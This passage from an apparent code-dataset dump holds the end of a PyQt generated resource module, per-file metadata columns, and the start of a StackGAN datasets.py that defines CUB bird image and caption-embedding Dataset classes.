\x00\x00\x00\xec\x00\x00\x00\x00\x00\x01\x00\x00\x2f\x10\
\x00\x00\x01\x44\x00\x00\x00\x00\x00\x01\x00\x00\x31\xf8\
\x00\x00\x02\x58\x00\x00\x00\x00\x00\x01\x00\x00\x3a\x5e\
\x00\x00\x06\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x58\xd4\
\x00\x00\x01\xfa\x00\x00\x00\x00\x00\x01\x00\x00\x35\x07\
\x00\x00\x04\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x49\xcc\
\x00\x00\x05\x86\x00\x00\x00\x00\x00\x01\x00\x00\x52\xcb\
\x00\x00\x06\xc0\x00\x00\x00\x00\x00\x01\x00\x00\x5a\xea\
\x00\x00\x00\x4c\x00\x00\x00\x00\x00\x01\x00\x00\x27\xaa\
\x00\x00\x05\x14\x00\x00\x00\x00\x00\x01\x00\x00\x4f\x8b\
\x00\x00\x07\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x5e\xd9\
\x00\x00\x02\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x3e\x95\
\x00\x00\x03\x70\x00\x00\x00\x00\x00\x01\x00\x00\x45\x02\
\x00\x00\x02\x86\x00\x00\x00\x00\x00\x01\x00\x00\x3a\xc0\
\x00\x00\x04\xd0\x00\x00\x00\x00\x00\x01\x00\x00\x4e\x83\
\x00\x00\x00\x72\x00\x00\x00\x00\x00\x01\x00\x00\x29\x05\
\x00\x00\x01\xcc\x00\x00\x00\x00\x00\x01\x00\x00\x34\xa9\
\x00\x00\x05\x3c\x00\x00\x00\x00\x00\x01\x00\x00\x50\x4b\
\x00\x00\x03\x0c\x00\x00\x00\x00\x00\x01\x00\x00\x40\xab\
\x00\x00\x03\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x46\x50\
\x00\x00\x06\x24\x00\x00\x00\x00\x00\x01\x00\x00\x55\x79\
\x00\x00\x07\xb2\x00\x00\x00\x00\x00\x01\x00\x00\x5f\x8a\
\x00\x00\x06\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x57\xcc\
\x00\x00\x06\xee\x00\x00\x00\x00\x00\x01\x00\x00\x5c\x38\
\x00\x00\x05\xea\x00\x00\x00\x00\x00\x01\x00\x00\x53\xca\
\x00\x00\x06\x48\x00\x00\x00\x00\x00\x01\x00\x00\x55\x9b\
\x00\x00\x07\x34\x00\x00\x00\x00\x00\x01\x00\x00\x5c\xe9\
\x00\x00\x03\x40\x00\x00\x00\x00\x00\x01\x00\x00\x42\xdc\
\x00\x00\x02\xba\x00\x00\x00\x00\x00\x01\x00\x00\x79\x05\
\x00\x00\x01\x68\x00\x00\x00\x00\x00\x01\x00\x00\x6f\x3e\
\x00\x00\x02\x18\x00\x00\x00\x00\x00\x01\x00\x00\x75\x72\
\x00\x00\x05\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x8e\x5e\
\x00\x00\x08\x76\x00\x00\x00\x00\x00\x01\x00\x00\x93\x0e\
\x00\x00\x01\x0a\x00\x00\x00\x00\x00\x01\x00\x00\x6c\xf8\
\x00\x00\x01\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x70\x3f\
\x00\x00\x04\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x87\x04\
\x00\x00\x00\x9a\x00\x00\x00\x00\x00\x01\x00\x00\x68\x02\
\x00\x00\x08\x14\x00\x00\x00\x00\x00\x01\x00\x00\x9b\x1e\
\x00\x00\x04\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x8a\x22\
\x00\x00\x07\xea\x00\x00\x00\x00\x00\x01\x00\x00\x98\xdc\
\x00\x00\x05\x64\x00\x00\x00\x00\x00\x01\x00\x00\x8b\xe5\
\x00\x00\x00\xbe\x00\x00\x00\x00\x00\x01\x00\x00\x69\xd2\
\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x01\x00\x00\x78\x0f\
\x00\x00\x00\xec\x00\x00\x00\x00\x00\x01\x00\x00\x6c\x00\
\x00\x00\x01\x44\x00\x00\x00\x00\x00\x01\x00\x00\x6e\xe8\
\x00\x00\x02\x58\x00\x00\x00\x00\x00\x01\x00\x00\x78\xa3\
\x00\x00\x06\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x94\x16\
\x00\x00\x01\xfa\x00\x00\x00\x00\x00\x01\x00\x00\x71\xf6\
\x00\x00\x04\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x85\x14\
\x00\x00\x05\x86\x00\x00\x00\x00\x00\x01\x00\x00\x8e\x10\
\x00\x00\x06\xc0\x00\x00\x00\x00\x00\x01\x00\x00\x96\x2c\
\x00\x00\x00\x4c\x00\x00\x00\x00\x00\x01\x00\x00\x64\xf8\
\x00\x00\x05\x14\x00\x00\x00\x00\x00\x01\x00\x00\x8a\xd3\
\x00\x00\x07\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x98\x2b\
\x00\x00\x02\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x7b\x2b\
\x00\x00\x08\x4a\x00\x00\x00\x00\x00\x01\x00\x00\x74\x19\
\x00\x00\x03\x70\x00\x00\x00\x00\x00\x01\x00\x00\x81\x98\
\x00\x00\x04\xd0\x00\x00\x00\x00\x00\x01\x00\x00\x89\x1a\
\x00\x00\x00\x72\x00\x00\x00\x00\x00\x01\x00\x00\x66\x53\
\x00\x00\x01\xcc\x00\x00\x00\x00\x00\x01\x00\x00\x71\x98\
\x00\x00\x05\x3c\x00\x00\x00\x00\x00\x01\x00\x00\x8b\x93\
\x00\x00\x03\x0c\x00\x00\x00\x00\x00\x01\x00\x00\x7d\x41\
\x00\x00\x03\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x82\xe6\
\x00\x00\x06\x24\x00\x00\x00\x00\x00\x01\x00\x00\x90\xbe\
\x00\x00\x06\xee\x00\x00\x00\x00\x00\x01\x00\x00\x97\x7a\
\x00\x00\x05\xea\x00\x00\x00\x00\x00\x01\x00\x00\x8f\x0f\
\x00\x00\x06\x48\x00\x00\x00\x00\x00\x01\x00\x00\x90\xe0\
\x00\x00\x03\x40\x00\x00\x00\x00\x00\x01\x00\x00\x7f\x72\
"
qt_resource_struct_v2 = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x18\x00\x02\x00\x00\x00\x28\x00\x00\x00\x30\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x3c\x00\x02\x00\x00\x00\x2b\x00\x00\x00\x05\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x26\x00\x01\x00\x00\x00\x01\x00\x00\x13\xea\
\x00\x00\x01\x72\x5f\x4e\x77\xdf\
\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x02\xba\x00\x00\x00\x00\x00\x01\x00\x00\x3c\x6f\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x01\x68\x00\x00\x00\x00\x00\x01\x00\x00\x32\x4e\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x02\x18\x00\x00\x00\x00\x00\x01\x00\x00\x37\x2d\
\x00\x00\x01\x72\x5f\x4d\x4a\xdd\
\x00\x00\x05\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x53\x19\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x01\x0a\x00\x00\x00\x00\x00\x01\x00\x00\x30\x08\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x01\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x33\x50\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x04\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x4b\xbc\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x00\x9a\x00\x00\x00\x00\x00\x01\x00\x00\x2a\xb4\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x03\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x48\x7e\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x08\x14\x00\x00\x00\x00\x00\x01\x00\x00\x63\x25\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x04\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x4d\xd2\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x07\xea\x00\x00\x00\x00\x00\x01\x00\x00\x60\xe3\
\x00\x00\x01\x72\x5f\x4d\x4a\xdd\
\x00\x00\x05\x64\x00\x00\x00\x00\x00\x01\x00\x00\x50\x9d\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x00\xbe\x00\x00\x00\x00\x00\x01\x00\x00\x2c\xe2\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x01\x00\x00\x39\xca\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x00\xec\x00\x00\x00\x00\x00\x01\x00\x00\x2f\x10\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x01\x44\x00\x00\x00\x00\x00\x01\x00\x00\x31\xf8\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x02\x58\x00\x00\x00\x00\x00\x01\x00\x00\x3a\x5e\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x06\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x58\xd4\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x01\xfa\x00\x00\x00\x00\x00\x01\x00\x00\x35\x07\
\x00\x00\x01\x72\x5f\x4d\x4a\xdd\
\x00\x00\x04\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x49\xcc\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x05\x86\x00\x00\x00\x00\x00\x01\x00\x00\x52\xcb\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x06\xc0\x00\x00\x00\x00\x00\x01\x00\x00\x5a\xea\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x00\x4c\x00\x00\x00\x00\x00\x01\x00\x00\x27\xaa\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x05\x14\x00\x00\x00\x00\x00\x01\x00\x00\x4f\x8b\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x07\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x5e\xd9\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x02\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x3e\x95\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x03\x70\x00\x00\x00\x00\x00\x01\x00\x00\x45\x02\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x02\x86\x00\x00\x00\x00\x00\x01\x00\x00\x3a\xc0\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x04\xd0\x00\x00\x00\x00\x00\x01\x00\x00\x4e\x83\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x00\x72\x00\x00\x00\x00\x00\x01\x00\x00\x29\x05\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x01\xcc\x00\x00\x00\x00\x00\x01\x00\x00\x34\xa9\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x05\x3c\x00\x00\x00\x00\x00\x01\x00\x00\x50\x4b\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x03\x0c\x00\x00\x00\x00\x00\x01\x00\x00\x40\xab\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x03\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x46\x50\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x06\x24\x00\x00\x00\x00\x00\x01\x00\x00\x55\x79\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x07\xb2\x00\x00\x00\x00\x00\x01\x00\x00\x5f\x8a\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x06\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x57\xcc\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x06\xee\x00\x00\x00\x00\x00\x01\x00\x00\x5c\x38\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x05\xea\x00\x00\x00\x00\x00\x01\x00\x00\x53\xca\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x06\x48\x00\x00\x00\x00\x00\x01\x00\x00\x55\x9b\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x07\x34\x00\x00\x00\x00\x00\x01\x00\x00\x5c\xe9\
\x00\x00\x01\x72\x5f\x4d\x4a\xdc\
\x00\x00\x03\x40\x00\x00\x00\x00\x00\x01\x00\x00\x42\xdc\
\x00\x00\x01\x72\x5f\x4d\x4a\xdd\
\x00\x00\x02\xba\x00\x00\x00\x00\x00\x01\x00\x00\x79\x05\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x01\x68\x00\x00\x00\x00\x00\x01\x00\x00\x6f\x3e\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x02\x18\x00\x00\x00\x00\x00\x01\x00\x00\x75\x72\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x05\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x8e\x5e\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x08\x76\x00\x00\x00\x00\x00\x01\x00\x00\x93\x0e\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x01\x0a\x00\x00\x00\x00\x00\x01\x00\x00\x6c\xf8\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x01\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x70\x3f\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x04\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x87\x04\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x00\x9a\x00\x00\x00\x00\x00\x01\x00\x00\x68\x02\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x08\x14\x00\x00\x00\x00\x00\x01\x00\x00\x9b\x1e\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x04\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x8a\x22\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x07\xea\x00\x00\x00\x00\x00\x01\x00\x00\x98\xdc\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x05\x64\x00\x00\x00\x00\x00\x01\x00\x00\x8b\xe5\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x00\xbe\x00\x00\x00\x00\x00\x01\x00\x00\x69\xd2\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x01\x00\x00\x78\x0f\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x00\xec\x00\x00\x00\x00\x00\x01\x00\x00\x6c\x00\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x01\x44\x00\x00\x00\x00\x00\x01\x00\x00\x6e\xe8\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x02\x58\x00\x00\x00\x00\x00\x01\x00\x00\x78\xa3\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x06\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x94\x16\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x01\xfa\x00\x00\x00\x00\x00\x01\x00\x00\x71\xf6\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x04\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x85\x14\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x05\x86\x00\x00\x00\x00\x00\x01\x00\x00\x8e\x10\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x06\xc0\x00\x00\x00\x00\x00\x01\x00\x00\x96\x2c\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x00\x4c\x00\x00\x00\x00\x00\x01\x00\x00\x64\xf8\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x05\x14\x00\x00\x00\x00\x00\x01\x00\x00\x8a\xd3\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x07\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x98\x2b\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x02\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x7b\x2b\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x08\x4a\x00\x00\x00\x00\x00\x01\x00\x00\x74\x19\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x03\x70\x00\x00\x00\x00\x00\x01\x00\x00\x81\x98\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x04\xd0\x00\x00\x00\x00\x00\x01\x00\x00\x89\x1a\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x00\x72\x00\x00\x00\x00\x00\x01\x00\x00\x66\x53\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x01\xcc\x00\x00\x00\x00\x00\x01\x00\x00\x71\x98\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x05\x3c\x00\x00\x00\x00\x00\x01\x00\x00\x8b\x93\
\x00\x00\x01\x72\x5f\x4d\x4a\xda\
\x00\x00\x03\x0c\x00\x00\x00\x00\x00\x01\x00\x00\x7d\x41\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x03\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x82\xe6\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x06\x24\x00\x00\x00\x00\x00\x01\x00\x00\x90\xbe\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x06\xee\x00\x00\x00\x00\x00\x01\x00\x00\x97\x7a\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x05\xea\x00\x00\x00\x00\x00\x01\x00\x00\x8f\x0f\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x06\x48\x00\x00\x00\x00\x00\x01\x00\x00\x90\xe0\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
\x00\x00\x03\x40\x00\x00\x00\x00\x00\x01\x00\x00\x7f\x72\
\x00\x00\x01\x72\x5f\x4d\x4a\xdb\
"
qt_version = [int(v) for v in QtCore.qVersion().split('.')]
if qt_version < [5, 8, 0]:
rcc_version = 1
qt_resource_struct = qt_resource_struct_v1
else:
rcc_version = 2
qt_resource_struct = qt_resource_struct_v2
def qInitResources():
QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| 58.718847
| 129
| 0.724728
| 45,678
| 189,427
| 3.004619
| 0.006721
| 0.057357
| 0.040264
| 0.032351
| 0.770192
| 0.769602
| 0.76907
| 0.768764
| 0.768764
| 0.767649
| 0
| 0.406444
| 0.01749
| 189,427
| 3,225
| 130
| 58.737054
| 0.33098
| 0.000802
| 0
| 0.732315
| 0
| 0.848239
| 0.000005
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0.000623
| false
| 0
| 0.000312
| 0
| 0.000935
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
91f9be9796a92dc168e59fbb1c30f8156c5a0781
| 34,887
|
py
|
Python
|
datasets.py
|
Abhis-123/TextToImage
|
c6bb64f080d3d90b8af03c1c1423a75c452bb0a9
|
[
"MIT"
] | 1
|
2021-09-13T07:24:21.000Z
|
2021-09-13T07:24:21.000Z
|
datasets.py
|
Abhis-123/TextToImage
|
c6bb64f080d3d90b8af03c1c1423a75c452bb0a9
|
[
"MIT"
] | null | null | null |
datasets.py
|
Abhis-123/TextToImage
|
c6bb64f080d3d90b8af03c1c1423a75c452bb0a9
|
[
"MIT"
] | 1
|
2021-07-19T07:48:09.000Z
|
2021-07-19T07:48:09.000Z
|
"""Dataset."""
# pylint: disable=no-member
import pickle
import os
import glob
from PIL import Image
import pandas as pd
import torch
from torchvision.transforms import transforms
from torch.utils.data import Dataset
from stackgan.utils.conf import CACHE_DIR
class CUBDatasetEager(Dataset):
"""CUB dataset.
Class for CUB Dataset with precomputed embeddings. Loads
images at once during initialization. If your RAM cannot
sustain such a load, use CUBDatasetLazy instead. If training
dataset, mismatching image is also returned.
Attributes:
embeddings(torch.Tensor): embeddings of captions.
images(list of PIL Images): images corresponding to each
embedding (at the same index).
class_ids(list): class of image and embeddings (at the
same index).
train(bool): whether this is the training dataset.
synthetic_ids(dict): correspondence between
real and synthetic IDs. Meant for use
during testing.
transform(torchvision Transform): transform applied to
every PIL image (after boundind box).
"""
def __init__(self, dataset_dir, image_dir, embedding_dir,
available_classes=None, train=None, use_bbox=True):
"""Init.
Args:
dataset_dir(str): root directory of dataset.
image_dir(str): image directory w.r.t. dataset_dir.
embedding_dir(str): embedding directory w.r.t
dataset_dir.
available_classes(str, optional): txt file to define
restrict the classes used from the predefined
train/test split, default=`None`.
train(bool, optional): indicating whether training
on this dataset. If not provided, it is determined
by the embedding_dir name.
use_bbox(bool): whether to crop using bboxes,
default=`True`.
"""
#########################################
########## parse pickle files ###########
#########################################
embeddings_fn = os.path.join(dataset_dir, embedding_dir,
'char-CNN-RNN-embeddings.pickle')
with open(embeddings_fn, 'rb') as emb_fp:
# latin1 enc hack bcs pickle compatibility issue between python2 and 3
embeddings = torch.tensor(pickle.load(emb_fp, encoding='latin1')) # pylint: disable=not-callable
class_ids_fn = os.path.join(dataset_dir, embedding_dir,
'class_info.pickle')
with open(class_ids_fn, 'rb') as cls_fp:
# latin1 enc hack bcs pickle compatibility issue between python2 and 3
class_ids = pickle.load(cls_fp, encoding='latin1')
img_fns_fn = os.path.join(dataset_dir, embedding_dir,
'filenames.pickle')
with open(img_fns_fn, 'rb') as fns_fp:
# latin1 enc hack bcs pickle compatibility issue between python2 and 3
img_fns = pickle.load(fns_fp, encoding='latin1')
####################################################
####################################################
if available_classes: # if available_classes is set
# keep only them
# get class ids used in dataset
with open(os.path.join(dataset_dir, available_classes), 'r') as avcls:
available_class_ids = [int(line.strip().split('.')[0])
for line in avcls.readlines()]
idcs = [i for i, cls_id in enumerate(class_ids) if cls_id in available_class_ids]
self.embeddings = embeddings[idcs]
image_filenames = [img_fns[i] for i in idcs]
self.class_ids = [cls_id for cls_id in class_ids if cls_id in available_class_ids]
else: # if available_classes is not set, keep them all
self.embeddings = embeddings
image_filenames = img_fns
self.class_ids = class_ids
unique_ids = set(self.class_ids)
self.synthetic_ids = dict(zip(unique_ids, range(len(unique_ids))))
bboxes = _load_bboxes(dataset_dir)
# crop to bbox, make 3 channels if grayscale
if use_bbox:
load_transform = transforms.Compose([
transforms.Lambda(lambda x: _bbox_crop(*x)),
transforms.Lambda(lambda x: transforms.Grayscale(3)(x) if _is_grayscale(x) else x),
transforms.Resize(304)
])
else:
load_transform = transforms.Compose([
# x[0] to get rid of bbox
transforms.Lambda(lambda x: transforms.Grayscale(3)(x[0])
if _is_grayscale(x[0]) else x[0]),
transforms.Resize(304)
])
self.transform = transforms.Compose([
transforms.RandomRotation(2),
transforms.RandomHorizontalFlip(),
transforms.RandomCrop(256),
transforms.ToTensor(),
transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5)),
])
self.images = []
for img_fn in image_filenames:
self.images.append(
load_transform(
(Image.open(os.path.join(dataset_dir, image_dir, img_fn + '.jpg')),
bboxes[img_fn])
)
)
if train is not None:
self.train = train
else:
# if train is not set, `embedding_dir` should be embeddings_{train, test}
self.train = (embedding_dir.split('_')[1] == 'train')
def __len__(self):
"""Return len of dataset.
Returns:
Number of images in the dataset.
"""
return len(self.images)
def __getitem__(self, idx):
"""Returns an image, its embedding, and maybe
a mismatching image.
Retrieve an image, one of its embeddings and,
if this is a training dataset, a mismatching image.
Class ID is last returned value.
Arguments:
idx(int): index.
Returns:
An image as a torch.Tensor of size (3,256,256),
if training a mismatching image and one of its
embeddings, and its class id (synthetic if testing).
"""
image = self.transform(self.images[idx])
if not self.train:
return image, self.synthetic_ids[self.class_ids[idx]]
rand_caption = torch.randint(10, (1,)).item()
embedding = self.embeddings[idx, rand_caption]
while True:
# get an image from a different class (match-aware discr)
mis_idx = torch.randint(len(self), (1,)).item()
if self.class_ids[idx] != self.class_ids[mis_idx]:
break
mis_image = self.transform(self.images[mis_idx])
return image, mis_image, embedding, self.synthetic_ids[self.class_ids[idx]]
def embeddings_by_class(self):
"""Fetches the embeddings per class.
Yields:
torch.Tensor with embeddings of size
(#, 10, 1024) and the corresponding
int synthetic ID.
"""
prev = 0
while True:
curr_id = self.class_ids[prev]
for curr in range(prev + 1, len(self)):
if self.class_ids[curr] != curr_id:
break # break at first point where id changes
if curr == prev: # handle case with one instance in class
yield self.embeddings[prev][None, ...], self.synthetic_ids[curr_id]
else:
yield self.embeddings[prev:curr], self.synthetic_ids[curr_id]
prev = curr
if curr == len(self) - 1:
break
class CUBDatasetLazy(torch.utils.data.Dataset):
"""CUB dataset.
Class for CUB Dataset with precomputed embeddings. Reads
images constantly with PIL and doesn't load them at once.
To load and keep them as an attribute, use CUBDatasetEager.
If training dataset, mismatching image is also returned.
Attributes:
embeddings(torch.Tensor): embeddings of captions.
image_filenames(list): filename of image corresponding
to each embedding (at the same index).
class_ids(list): class of image and embeddings (at the
same index).
dataset_dir(str): directory of data.
image_dir(str): directory of actual images relative to
dataset_dir.
train(bool): whether this is the training dataset.
synthetic_ids(dict): correspondence between
real and synthetic IDs. Meant for use
during testing.
bboxes(dict): keys are the filenames
of images and values the bounding box to
retain a proper image to body ratio.
transform(torchvision Transform): transform applied to every PIL image
(as is read from image_dir).
"""
def __init__(self, dataset_dir, image_dir, embedding_dir,
available_classes=None, train=None, use_bbox=True):
"""Init.
Args:
dataset_dir(str): root directory of dataset.
image_dir(str): image directory w.r.t. dataset_dir.
embedding_dir(str): embedding directory w.r.t
dataset_dir.
available_classes(str, optional): txt file to define
restrict the classes used from the predefined
train/test split, default=`None`.
train(bool, optional): indicating whether training
on this dataset. If not provided, it is determined
by the embedding_dir name.
use_bbox(bool): whether to crop using bboxes,
default=`True`.
"""
#########################################
########## parse pickle files ###########
#########################################
embeddings_fn = os.path.join(dataset_dir, embedding_dir,
'char-CNN-RNN-embeddings.pickle')
with open(embeddings_fn, 'rb') as emb_fp:
# latin1 enc hack bcs pickle compatibility issue between python2 and 3
embeddings = torch.tensor(pickle.load(emb_fp, encoding='latin1')) # pylint: disable=not-callable
class_ids_fn = os.path.join(dataset_dir, embedding_dir,
'class_info.pickle')
with open(class_ids_fn, 'rb') as cls_fp:
# latin1 enc hack bcs pickle compatibility issue between python2 and 3
class_ids = pickle.load(cls_fp, encoding='latin1')
img_fns_fn = os.path.join(dataset_dir, embedding_dir,
'filenames.pickle')
with open(img_fns_fn, 'rb') as fns_fp:
# latin1 enc hack bcs pickle compatibility issue between python2 and 3
img_fns = pickle.load(fns_fp, encoding='latin1')
####################################################
####################################################
if available_classes: # if available_classes is set
# keep only them
# get class ids used in dataset
with open(os.path.join(dataset_dir, available_classes), 'r') as avcls:
available_class_ids = [int(line.strip().split('.')[0])
for line in avcls.readlines()]
idcs = [i for i, cls_id in enumerate(class_ids) if cls_id in available_class_ids]
self.embeddings = embeddings[idcs]
self.image_filenames = [img_fns[i] for i in idcs]
self.class_ids = [cls_id for cls_id in class_ids if cls_id in available_class_ids]
else: # if available_classes is not set, keep them all
self.embeddings = embeddings
self.image_filenames = img_fns
self.class_ids = class_ids
unique_ids = set(self.class_ids)
self.synthetic_ids = dict(zip(unique_ids, range(len(unique_ids))))
self.dataset_dir = dataset_dir
self.image_dir = image_dir
if train is not None:
self.train = train
else:
# if train is not set, `embedding_dir` should be embeddings_{train, test}
self.train = (embedding_dir.split('_')[1] == 'train')
self.bboxes = _load_bboxes(dataset_dir)
common_postfix = transforms.Compose([
transforms.Resize(304),
transforms.RandomRotation(2),
transforms.RandomCrop(256),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5)),
])
if use_bbox:
self.transform = transforms.Compose([
transforms.Lambda(lambda x: _bbox_crop(*x)),
transforms.Lambda(lambda x: transforms.Grayscale(3)(x) if _is_grayscale(x) else x),
common_postfix,
])
else:
self.transform = transforms.Compose([
# x[0] to get rid of bbox
